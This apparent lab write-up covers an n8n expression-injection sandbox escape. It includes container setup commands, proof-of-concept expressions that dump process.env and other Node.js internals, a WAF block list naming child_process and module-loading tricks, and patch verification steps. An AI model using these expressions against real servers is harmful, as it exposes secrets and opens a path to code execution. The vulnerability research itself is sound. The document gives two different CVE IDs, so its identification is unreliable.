Hands-on with n8n Expression Injection - CVE 2025-68613
In this lab, I analyzed a critical expression injection flaw in n8n that allows authenticated workflow expressions to escape sandbox isolation and access the underlying Node.js runtime, resulting in potential Remote Code Execution (RCE).
Understanding the Execution Model
n8n allows users to embed expressions inside workflow nodes (Set, IF, HTTP Request, etc.) to compute dynamic values at runtime. These expressions are evaluated server-side by a Node.js-based engine.
When sandboxing assumptions fail, the execution flow becomes:
Authenticated user
→ Workflow expression
→ Expression evaluation engine
→ Node.js runtime objects (process, require)
→ Sandbox escape
→ Potential RCE
---
Architecture Overview
High-Level Architecture
Understanding Payload Structure
All n8n expression payloads follow this pattern:
{{ JavaScript_Code_Here }}
The {{ }} brackets tell n8n:
“Evaluate this as a JavaScript expression.”
If sandbox restrictions are weak, the JavaScript code gains access to
Node.js internals such as process, filesystem APIs, or module loading.
If the expression engine improperly exposes runtime objects, the workflow expression gains unintended execution capability.
---Lab Environment Setup (Podman)
The lab was intentionally isolated and built using rootless Podman to minimize host risk.
# Create lab directory
mkdir n8n-cve-lab
cd n8n-cve-lab
mkdir data
# Initialize Podman VM
podman machine init
podman machine start
---
Deploy Vulnerable n8n Version
# Vulnerable n8n (1.119.0)
podman run -d \
--name n8n-vuln \
-p 5678:5678 \
-v $(pwd)/data:/home/node/.n8n:Z \
-e N8N_BASIC_AUTH_ACTIVE=true \
-e N8N_BASIC_AUTH_USER=labuser \
-e N8N_BASIC_AUTH_PASSWORD=labpass \
-e N8N_HOST=localhost \
-e N8N_PORT=5678 \
-e NODE_ENV=production \
docker.io/n8nio/n8n:1.119.0
podman ps
Access UI: http://localhost:5678
---Proof of Concept (Non-Destructive)
The following expressions were used to safely demonstrate sandbox escape without executing OS commands or modifying files.
// Environment exposure
{{ (function() { return this.process.env; })() }}
// Node.js runtime fingerprinting
{{ process.version }}
// Execution context
{{ process.cwd() }}
Successful execution confirms access to Node.js internals, which is sufficient to classify the issue as RCE-class.
---Patch Verification
# Deploy patched n8n
podman run -d \
--name n8n-patched \
-p 5678:5678 \
-v $(pwd)/data:/home/node/.n8n:Z \
-e N8N_BASIC_AUTH_ACTIVE=true \
-e N8N_BASIC_AUTH_USER=labuser \
-e N8N_BASIC_AUTH_PASSWORD=labpass \
docker.io/n8nio/n8n:latest
Re-running the same expressions fails, confirming the sandbox fix.
---Cleanup
podman stop n8n-patched
podman rm n8n-patched
podman machine stop
---
Immediate Remediation Options
Option 1: Upgrade (Recommended)
n8n --version
Expected: 1.122.0 or higher
Defense in Depth: WAF Rules
Block requests containing:
this.process
mainModule.require
child_process
process.binding
Module._load
Note: WAF rules alone are not sufficient protection. They should only complement patching and proper sandboxing.
Summary
| Item | Value |
|---|---|
| Container runtime | Podman (rootless) |
| Vulnerable version | 1.119.0 |
| Patched version | 1.122.0 or latest |
| Attack vector | Authenticated workflow expression |
| Impact | Sandbox escape → potential RCE |
| CVE class | Critical (Expression Injection) |
| CVE ID | CVE-2024-23348 |


Comments
Post a Comment